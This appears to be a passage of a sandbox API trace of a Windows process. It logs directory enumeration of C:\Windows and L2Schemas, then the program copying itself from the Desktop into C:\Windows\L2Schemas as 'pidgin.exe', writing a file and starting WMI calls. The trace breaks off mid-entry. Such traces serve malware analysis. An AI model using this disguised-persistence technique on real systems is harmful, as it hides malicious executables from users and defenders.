ftCreationTime.dwLowDateTime=0x16b59ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5f793717, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5f793717, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tasks", cAlternateFileName="")) returned 1 [0109.579] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16b59ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xee4c4771, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xee4c4771, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0109.579] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16b59ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x16b59ff, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x16b59ff, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracing", cAlternateFileName="")) returned 1 [0109.580] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16b59ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd761812, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd761812, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="twain_32", cAlternateFileName="")) returned 1 [0109.580] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5139153c, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5139153c, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5139153c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="twain_32.dll", cAlternateFileName="")) returned 1 [0109.580] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16b59ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x16b59ff, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x16b59ff, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vss", cAlternateFileName="")) returned 1 [0109.580] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16b59ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x706c1e39, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x706c1e39, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web", cAlternateFileName="")) returned 1 [0109.580] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x383caa7, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97447ccc, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x622c4da2, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="win.ini", cAlternateFileName="")) returned 1 [0109.580] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x252e4dc1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252e4dc1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252e4dc1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x29e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsShell.Manifest", cAlternateFileName="")) returned 1 [0109.580] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x675574ee, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x675574ee, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0xf328d79c, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x113, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 1 [0109.581] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d082a6f, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x2d082a6f, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x2d082a6f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="winhlp32.exe", cAlternateFileName="")) returned 1 [0109.581] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xaa78a672, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xaa78a672, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinSxS", cAlternateFileName="")) returned 1 [0109.581] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342f36fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x342f36fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x342f36fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMSysPr9.prx", cAlternateFileName="")) returned 1 [0109.581] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245a1c9a, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x245a1c9a, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x245a1c9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="write.exe", cAlternateFileName="")) returned 1 [0109.581] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245a1c9a, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x245a1c9a, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x245a1c9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="write.exe", cAlternateFileName="")) returned 0 [0109.581] FindClose (in: hFindFile=0x1b48fbb0 | out: hFindFile=0x1b48fbb0) returned 1 [0109.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0109.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0109.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0109.582] GetFullPathNameW (in: lpFileName="C:\\Windows\\L2Schemas", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\L2Schemas", lpFilePart=0x0) returned 0x14 [0109.582] FindFirstFileW (in: lpFileName="C:\\Windows\\L2Schemas\\*" (normalized: "c:\\windows\\l2schemas\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef5fd1, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x4d1939a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x4d1939a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b48f430 [0109.584] FindNextFileW (in: hFindFile=0x1b48f430, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef5fd1, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x4d1939a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x4d1939a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.585] FindNextFileW (in: hFindFile=0x1b48f430, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10ea54e4, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x10ea54e4, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x10ea54e4, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAN_policy_v1.xsd", cAlternateFileName="")) returned 1 [0109.585] FindNextFileW (in: hFindFile=0x1b48f430, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10ea54e4, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x10ea54e4, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x10ea54e4, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAN_profile_v1.xsd", cAlternateFileName="")) returned 1 [0109.585] FindNextFileW (in: hFindFile=0x1b48f430, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106f117, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x1106f117, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x1106f117, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1745, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneX_v1.xsd", cAlternateFileName="")) returned 1 [0109.585] FindNextFileW (in: hFindFile=0x1b48f430, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10305d9d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x10305d9d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x10305d9d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1ea7, dwReserved0=0x0, dwReserved1=0x0, cFileName="WFD_LEGACY_profile_v1.xsd", cAlternateFileName="")) returned 1 [0109.585] FindNextFileW (in: hFindFile=0x1b48f430, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10305d9d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x10305d9d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x10305d9d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1f2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WFD_profile_v1.xsd", cAlternateFileName="")) returned 1 [0109.585] FindNextFileW (in: hFindFile=0x1b48f430, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10305d9d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x10305d9d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x10305d9d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WLANAP_profile_v1.xsd", cAlternateFileName="")) returned 1 [0109.585] FindNextFileW (in: hFindFile=0x1b48f430, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10305d9d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x10305d9d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x10305d9d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1dcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="WLAN_policy_v1.xsd", cAlternateFileName="")) returned 1 [0109.585] FindNextFileW (in: hFindFile=0x1b48f430, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10305d9d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x10305d9d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x10305d9d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4899, dwReserved0=0x0, dwReserved1=0x0, cFileName="WLAN_profile_v1.xsd", cAlternateFileName="")) returned 1 [0109.586] FindNextFileW (in: hFindFile=0x1b48f430, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10305d9d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x10305d9d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x10305d9d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x91f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WLAN_profile_v2.xsd", cAlternateFileName="")) returned 1 [0109.586] FindNextFileW (in: hFindFile=0x1b48f430, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10305d9d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x10305d9d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x10305d9d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="WLAN_profile_v3.xsd", cAlternateFileName="")) returned 1 [0109.586] FindNextFileW (in: hFindFile=0x1b48f430, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10e7f28a, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x10e7f28a, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x10e7f28a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1839, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWAN_profile_v1.xsd", cAlternateFileName="")) returned 1 [0109.586] FindNextFileW (in: hFindFile=0x1b48f430, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10e7f28a, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x10e7f28a, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x10e7f28a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWAN_profile_v2.xsd", cAlternateFileName="")) returned 1 [0109.586] FindNextFileW (in: hFindFile=0x1b48f430, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10e7f28a, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x10e7f28a, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x10e7f28a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWAN_profile_v3.xsd", cAlternateFileName="")) returned 1 [0109.586] FindNextFileW (in: hFindFile=0x1b48f430, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10e7f28a, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x10e7f28a, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x10e7f28a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3a02, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWAN_profile_v4.xsd", cAlternateFileName="")) returned 1 [0109.586] FindNextFileW (in: hFindFile=0x1b48f430, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10e7f28a, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x10e7f28a, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x10e7f28a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x74a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWAN_profile_v5.xsd", cAlternateFileName="")) returned 1 [0109.586] FindNextFileW (in: hFindFile=0x1b48f430, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10e7f28a, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x10e7f28a, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x10e7f28a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x74a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWAN_profile_v5.xsd", cAlternateFileName="")) returned 0 [0109.586] FindClose (in: hFindFile=0x1b48f430 | out: hFindFile=0x1b48f430) returned 1 [0109.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0109.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0109.589] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", nBufferLength=0x105, lpBuffer=0x1b30d5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", lpFilePart=0x0) returned 0x2f [0109.589] GetFullPathNameW (in: lpFileName="C:\\Windows\\L2Schemas\\pidgin.exe", nBufferLength=0x105, lpBuffer=0x1b30d5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\L2Schemas\\pidgin.exe", lpFilePart=0x0) returned 0x1f [0109.589] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\libglesv2.dll.exe"), lpNewFileName="C:\\Windows\\L2Schemas\\pidgin.exe" (normalized: "c:\\windows\\l2schemas\\pidgin.exe"), bFailIfExists=0) returned 1 [0110.013] GetFullPathNameW (in: lpFileName="C:\\Windows\\L2Schemas\\67d46660f06ffa", nBufferLength=0x105, lpBuffer=0x1b30d3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\L2Schemas\\67d46660f06ffa", lpFilePart=0x0) returned 0x23 [0110.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d8d0) returned 1 [0110.014] CreateFileW (lpFileName="C:\\Windows\\L2Schemas\\67d46660f06ffa" (normalized: "c:\\windows\\l2schemas\\67d46660f06ffa"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x2bc [0110.014] GetFileType (hFile=0x2bc) returned 0x1 [0110.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d840) returned 1 [0110.014] GetFileType (hFile=0x2bc) returned 0x1 [0110.015] WriteFile (in: hFile=0x2bc, lpBuffer=0x286ab30*, nNumberOfBytesToWrite=0x1e7, lpNumberOfBytesWritten=0x1b30d908, lpOverlapped=0x0 | out: lpBuffer=0x286ab30*, lpNumberOfBytesWritten=0x1b30d908*=0x1e7, lpOverlapped=0x0) returned 1 [0110.016] CloseHandle (hObject=0x2bc) returned 1 [0110.017] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0110.017] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0110.017] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0110.017] IUnknown:Release (This=0x6124e8) returned 0x1 [0110.018] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d20e0) returned 0x0 [0110.018] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d20e0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0110.018] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d20e0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4afee0) returned 0x0 [0110.018] WbemDefPath:IUnknown:Release (This=0x1b4d20e0) returned 0x0 [0110.018] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4afee0) returned 0x0 [0110.018] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0110.018] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0110.019] WbemDefPath:IUnknown:AddRef (This=0x1b4afee0) returned 0x3 [0110.019] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0110.019] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0110.019] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d2940) returned 0x0 [0110.019] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2940, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, 